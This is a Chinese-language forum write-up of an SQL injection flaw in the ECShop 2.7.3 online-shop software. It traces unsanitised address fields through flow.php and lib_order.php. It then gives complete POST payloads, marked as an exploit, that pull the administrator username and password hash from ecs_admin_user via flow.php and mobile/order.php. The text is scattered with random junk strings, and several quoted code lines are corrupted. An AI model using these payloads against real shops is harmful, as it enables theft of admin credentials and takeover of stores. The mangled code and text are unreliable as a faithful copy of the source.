前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
) ?) N p/ A$ D7 q! I) t& R
7 G: Q$ f+ N6 l 漏洞关键文件:
4 F# ?+ \, P1 M: M
8 L: Q! I1 L ^ /includes/lib_order.php
0 v J) ^6 p5 z. q% L4 s3 X
2 y4 V) J, [8 ?- g) Y8 F7 l( Y 关键函数:5 f$ t0 t, t1 r6 C7 ?$ ?
# l- {, s$ K/ A
3 j9 m9 ?+ B( ?; d# O, W* j6 z5 J u. Q0 p# P1 F
01 function available_shipping_list($region_id_list)
2 d6 N4 T( E0 W1 E- D. g; T. f D! ]0 ~; f
02 {
1 j! Y5 `/ v9 ~" C8 t' e# _. D( k" U6 h# t- j
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . & G( D6 L1 |9 A8 X
. J a3 C& U. ]$ }# l! O
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . W4 P! y. ?, V# V6 k; U
9 |" H0 G$ f; F1 B
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
# K3 [# R; N- v+ @1 a# r
* _6 R+ l0 j: W# _" U5 d06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ Y9 `9 p; {3 X2 F5 e
% U* q" k9 D2 p7 V2 \# k1 m
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( U( Q1 z$ x2 C$ t% _$ ^: N6 B: F" T) |: ^
) A" o* J& Q) `8 i08 'WHERE r.region_id ' . db_create_in($region_id_list) .
/ t3 \8 J, r9 i& C d+ z q. h# d5 t: W; D1 g7 j- g8 p8 s
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
( W( R9 W7 C! n* S' p
' `9 q7 X |( d" d8 W( q' K10 5 q0 W( L* X9 S3 P5 ?3 q; y
. E: [$ G$ s4 Z" X
11 return $GLOBALS['db']->getAll($sql); 8 V) P3 H( w5 J$ p ~4 a
' C) R. ~+ N, B& W* _8 ~+ ^
12 } # o* q7 o% H) z s5 |9 H
! c$ i( v9 q( U( c' F
显然对传入的参数没有任何过滤就带入了查询语句。
6 \$ }) N9 V* r$ P+ o/ X ?2 m0 Q. [, R- g8 s4 e
下面我们追踪这个函数在flow.php中:* `0 t, j$ C+ U# |
第531行:
& w2 E" q% ~! e K# A; D4 ?. V) J' A
1 $shipping_list = available_shipping_list($region); : Q$ u3 W0 c- P3 A, K& o- C1 w
, n6 h2 x/ Y% E- d- F6 e8 S % b0 T- I! I3 t5 s
* j; |5 s4 h* } L; y% X0 h h$ d+ _2 ]; l5 T
7 C5 e. ]+ F3 `* V再对传入变量进行追踪:
# `2 r: O2 V1 |9 h% x
# P+ P, N2 i1 I& i$ {第530行: + E* F7 u0 f6 y! v$ \, d
! L( T6 n( O T1 z1 a& z
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
4 Q/ r8 S5 }% ]- u& H3 ^
6 S2 h& F0 L4 |
% y G" k/ a7 W4 B: t' n) Q4 U( h, c' f& U$ P) g4 U
: ?% w, F9 m( S# Y, S7 S
1 S4 l, @4 R! H- Q
第473行:
0 L" h# b* a3 L/ ?! t, \& f
7 [/ s+ a3 Z+ X, t" z6 f1 $consignee = get_consignee($_SESSION['user_id']);
; G2 ^/ o9 n# D+ s
$ j4 M0 Z. e; B$ q到了一个关键函数:
' U# e) m3 S% k8 y7 E0 _( F0 x4 s5 o9 j
/includes/lib_order.php
; v5 u! |, B5 k) g/ C; Q+ D) S+ X7 P$ d. v
* p- A+ T6 ]. h: s- }$ E+ H" C. Z1 V$ g" e, u
4 I T1 ~2 p/ K6 ~5 m4 C: u9 K$ q- c% O0 k1 @: t; G4 z
01 function get_consignee($user_id) 3 X- v: G Z7 X% C3 t
6 U5 J& G! Z" E) w% C9 M1 j
02 { , }7 d9 J: k4 l" g/ d# a
: e+ ^/ ~0 ~( w- j1 u0 l03 if (isset($_SESSION['flow_consignee']))
( R7 \( w! A3 A W* b+ T
: f& `6 i! i+ i! d+ P! H; s04 { / \( C( n6 [' L
: U$ U" Q0 m5 q w; E3 G05 /* 如果存在session,则直接返回session中的收货人信息 */ : k0 r/ F' T; C* Y7 G& U
( y/ B2 L- D) u2 S ?' j' ~06 * I; x) ]( ^% y8 d' a
% M7 @' j! [* X. o% Q07 return $_SESSION['flow_consignee'];
n/ R- Y" |/ I i6 p7 _3 p9 ? ^- f
08 } / r+ \4 r) ^0 H" i' U$ m
/ M4 P+ B. }: i; _0 t
09 else
- p9 K/ [: W! E8 | V- t
9 ?) h M* e% v- f: c% N10 {
. N0 i# o) m! v4 t% }4 t+ Y& y2 q2 ~7 z8 }% K8 y/ Q, V/ z3 k7 C
11 /* 如果不存在,则取得用户的默认收货人信息 */
/ C$ U+ v4 C& {+ K' P& H, X" e! P0 c2 p
12 $arr = array();
0 K7 W0 k4 v" a: F% k) C2 T) B% B# h& f' d2 v T( N
13
7 t& ^) \; K8 a, B8 P' A9 @8 \' {: `9 D4 ~# e
14 if ($user_id > 0)
$ W' L2 d& Z9 V4 H% i+ C
4 o9 R* r) K% G: j, p+ k d15 {
8 N+ ]) s! }3 o3 {) x, N! @0 l- {4 K: K: P B* E
16 /* 取默认地址 */
" Y+ J7 W; d: Q* p! j' c4 B N' Z
17 $sql = "SELECT ua.*".
: y; {# f" W" \
# X1 E' A2 {, ~4 I( c18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
9 p k J& K4 d, ]( [0 Y$ _# k! c! a, [% k% H) c2 L# |
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 2 g0 v4 i; x; O6 N2 [7 {: S# o5 v, ?7 x
2 m; m; h/ c6 ]& V
20 # Y) s- N2 I7 w: e8 ]; D& k) B
' P) e. h; e4 c4 Z; v
21 $arr = $GLOBALS['db']->getRow($sql); ( d5 B* c6 e) r
# D% O5 G6 [0 n8 l22 } ; l$ d) o6 n0 R! U
$ A9 S G9 G: l8 G23
4 `" E. j) J m4 y' \/ N
& f8 R0 ]- q- M% L7 g24 return $arr;
% a0 @1 }% D% W, s
/ W# r8 t: S( {8 D) v% |; J0 d25 } - i/ t J* V2 p
5 R6 \7 ~* {. [# q8 u1 b2 S
26 }
$ L, L% c0 Z9 D! `1 @! \/ T1 P1 e+ p% A4 J% B
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
$ v; o4 i2 ]7 h0 ~' t9 z0 B# ~2 Z& o0 j; n$ k+ \
: s) y1 H5 B1 U9 v$ S; A) _; Z" J5 }: I ?' @9 `
关键点:8 z" H6 S" P% \
2 z. z U) r% C+ r i6 ^" e! B第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);5 w) ~7 ~; m( C" D. S! w
' C3 r9 ~/ U* d! \/ l& ]这里对传入参数反转义存入$_SESSION中。
7 t o* G2 u2 [# K( x5 X
( c+ l. N( w) H! ]2 c7 c
: M) ]3 c7 z1 |, ~3 I# ^7 H( l8 `
2 |5 R4 Z8 q4 N# v t a然后看下:
6 |1 h# }1 M7 {* d, m1 K1 B n
8 ]' w. q1 k, b& D, F% i* R" c
! h1 S* I j- E5 P+ {4 |0 i' Q+ o. Q& @) n8 z( h
: \+ S1 p1 J; A# j/ Y b+ H+ G$ y/ c
# x" m* S) d/ W% w# m& A; L01 $consignee = array(
1 u9 F; S' k$ o
5 A, |; z8 K! t8 o/ E( R( L; S02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 5 x( v/ [) q0 k: h6 e7 W4 Y% C. R
2 K" J X$ Y# }
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), + @ m) h7 [& f+ Z1 ~0 E; ^
1 ~! v- o5 r2 c) e9 L' z& Z. r8 l' C; R) Z8 @04 'country' => empty($_POST['country']) ? '' _POST['country'],
# i( o% l( J: k- [2 [8 I3 A" N! T
05 'province' => empty($_POST['province']) ? '' _POST['province'], 9 {0 d3 ?. z: P6 r
, t. o1 `$ s* A( |
06 'city' => empty($_POST['city']) ? '' _POST['city'], ) S, @: M( `2 T1 W
- N7 R+ u/ a1 ^3 N1 X/ @
07 'district' => empty($_POST['district']) ? '' _POST['district'], 7 u% W7 N( M, J8 A
h$ V% i& F. c# t( H0 ~, H X2 d08 'email' => empty($_POST['email']) ? '' _POST['email'],
, V2 @0 b& y! n& E' I5 h. R
6 L+ Y5 p- n; A+ l8 o; V; t09 'address' => empty($_POST['address']) ? '' _POST['address'], ( o E2 ^) M, N$ i' _
' M, \; {2 x, h$ i/ U# ^
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 7 P6 [ H- F8 _! m
" i8 `8 e0 k( c11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 6 Y* {" \% I' P
& |" l H4 n' e& W8 p" |
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), ! b/ S0 M! }: R1 A& B5 d
# J& y6 g4 C! t% K
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], / N, V9 b. T/ C/ ^; N( a! S& u
0 u6 d1 z, S2 I# h. |8 c14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 4 V1 {& \! p4 \( R) Z; r
! M( H4 l6 a. c8 e
15 );
9 g* o2 q' E. p
0 e3 s* H/ l: p5 M( z* m3 ?; z好了注入就这样出现了。1 W6 v6 m1 o( U
7 Z* i2 i% i; ]' ]' P==================
0 R, A- Z' z7 c( g' Z7 G m. O1 s1 b) j
注入测试:; w& b, S7 |5 W1 v3 b3 O! c5 w
2 V' B7 r5 |2 k1 Y3 d
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ m/ r3 Q1 ~/ |6 y x2 N7 z/ L+ o
7 t: w: f, R7 v测试程序:ECShop_V2.7.3_UTF8_release11068 |" n: z7 e% c2 o: s2 V3 B
4 ^1 a' r. P5 m0 B V) e5 y9 i9 U
, l- o& S; A2 }
( Q: w6 A5 Y; ^* a" @
1.首先需要点击一个商品加入购物车
9 K$ @( i. Z" j9 T( @1 ?( H" X c; Y
+ A! H6 j$ P6 d; C3 r2.注册一个会员帐号
4 L3 ^- w+ l2 D$ r( K% F( z7 ^! ~, q; g% \0 u
3.post提交数据
/ ^- p' n1 K- r5 Y3 G6 X; x" v' |; R/ r5 r K% ^) j& Q7 l+ ^' E" }2 i
/ J) z" B+ L, i" H) }6 Q- I
7 p0 g# x) a! {- Y B D* ^) C% s; P# P1 http://127.0.0.1/ecshop/flow.php
; _2 D& n: A0 X/ G5 K/ J
. [1 T. |4 K k& o0 c- ]2 O: D2 $ U, ?7 e4 A; t
- F" l% K- P2 x+ n3 [" y' R
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 X; p2 i5 z- C举一反三,我们根据这个漏洞我们可以继续深入挖掘:
0 [, j9 R+ F& ^+ v) k6 q# j( ]& `& ?, K K" v! @1 Y. A
我们搜寻关键函数function available_shipping_list()
5 M' x9 f. p, n" Q( z) t
+ N2 _* t; A; p! r" c在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
# p( F# }3 h% Q" J. Q# G
; P: X! |- P: {, ?- Q l1 u利用exp:
9 y0 T. X# f g O: @$ e
3 h7 X3 B* V" e% P7 ?1.点击一个商品,点击购买商标
" @1 d* }9 g8 b! j" G' Y1 v8 C; N/ {2 W6 }6 Z9 `6 G0 z2 X
2.登录会员帐号& O. A; I& ~3 [) V- s& d
' W! Q& |! G f& p+ `) _! A. {$ E3.post提交: ?0 G) I* d* l+ M5 z8 i3 `- |( s# z
7 y" I# }# [. l3 M6 u/ c+ a& nhttp://127.0.0.1/ecshop/mobile/order.php8 u) U; V0 t* `; p. F
$ p9 W' |4 N8 s) O
6 s1 P* t! V' N+ C- d" h
' }; o. K6 \4 P Ecountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id= ^, K# k6 r' N
9 M# B) m1 V. B+ V$ b( {. A
|